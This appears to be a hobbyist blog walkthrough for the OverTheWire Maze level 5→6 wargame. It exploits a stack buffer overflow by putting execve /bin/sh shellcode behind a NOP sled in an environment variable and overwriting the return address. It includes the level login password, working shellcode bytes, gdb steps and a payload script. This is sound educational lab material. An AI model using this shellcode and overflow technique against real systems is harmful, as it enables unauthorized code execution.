Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Maze Level 5 → 6 tutorial!!

Login

Use the maze5 account from the previous level.

ssh maze5@maze.labs.overthewire.org -p <PORT>
# password: epheghuoli

Binary for this challenge: /maze/maze6


Task

Exploit a classic stack overflow and use a NOP sled to land in shellcode, then read /etc/maze_pass/maze6.


A little bit of Theory

Typical “intro pwn” flow for this level:

  • The program reads too many bytes into a fixed-size stack buffer (e.g., gets, scanf("%s"), or fgets with a bad length).
  • NX is disabled (or the binary is compiled for a non-exec check that still allows stack execution), so we can run shellcode on the stack or in an environment variable.
  • We’ll place shellcode in an environment variable (big space, stable), prefix it with a NOP sled (\x90 repeated), then overwrite the return address with a pointer into that sled.
  • On x86 (little-endian), the return address must be written in reverse byte order.

Recon (quick)

You can sanity-check protections:

checksec --file=/maze/maze6
# Expect something like:
#  NX disabled / No PIE / No canary (varies by host)

Disassemble the vulnerable function to find the buffer size and confirm there’s an unsafe read. (Examples: gets(buf), scanf("%s", buf), fread without bounds, etc.)


Step 1 — Put shellcode in the environment

We’ll stash tiny /bin/sh shellcode in an env var named EGG, and pad with a long NOP sled so our return only needs to be “close.”

export EGG=$(python - <<'PY'
shell  = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" \
         "\x31\xc0\x40\xcd\x80"
sled   = "\x90" * 2000
print(sled + shell)
PY
)

Any small, null-free execve shellcode works. The long sled increases our landing zone.


Step 2 — Find the offset to EIP

We need to know how many bytes from the start of our input until the saved return address (EIP).

  • Run under gdb and overflow with a controlled pattern (e.g., As then BBBB).
  • When it crashes, note where EIP becomes 0x42424242 ('B' * 4). That count is our offset.

Example (your number may differ):

Offset to EIP: 140

We’ll call this OFFSET.


Step 3 — Find the address of EGG

In gdb, break early (e.g., at main) and query the environment pointer:

(gdb) break *main
(gdb) run <<< $(python -c 'print("A"*16)')
(gdb) p (char*)getenv("EGG")
$1 = 0xbffff4c0

Pick a return address inside the sled, not necessarily the very start. Add a small offset (e.g., +0x100):

RET = 0xbffff4c0 + 0x100 = 0xbffff5c0

Address will vary per process/host. If ASLR is on, try a fatter sled, or re-check the address right before exploit. Many wargame boxes keep this stable enough.


Step 4 — Build the payload

Payload layout:

[ OFFSET bytes of padding ][ RET (little-endian) ]

We don’t need to include shellcode in the payload itself because we’re returning into EGG.

OFFSET=140           # <-- use the value you measured
RET=0xbffff5c0       # <-- use your getenv("EGG") + offset

python - <<PY | /maze/maze6
import struct, sys
OFFSET = int(sys.argv[1]) if len(sys.argv)>1 else ${OFFSET}
RET    = ${RET}
payload = b"A"*OFFSET + struct.pack("<I", RET)
sys.stdout.write(payload.decode('latin-1', 'ignore'))
PY

If the program reads from stdin, the pipeline works. If it expects an argument, adapt to:

/maze/maze6 "$(python -c 'import struct;print("A"*OFFSET + struct.pack("<I",RET))')"

Step 5 — Profit

If the return lands anywhere in the sled, execution slides into the shellcode and spawns a shell:

id
cat /etc/maze_pass/maze6

You should now have the maze6 password. (The exact string may differ between resets; just record it for the next level.)


Troubleshooting quick tips

  • Missed the sled? Try nudging RET by ±0x100, or enlarge the NOP sled.
  • Crashes before return? Re-check the OFFSET to EIP with gdb until it’s exact.
  • Can’t get getenv("EGG")? Ensure you exported EGG in the same shell that launches gdb/the binary.
  • NX on? Then you can’t execute the stack — switch to a ret2libc plan (e.g., call system("/bin/sh")). This level is intended for the NOP-sled approach, though.

Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with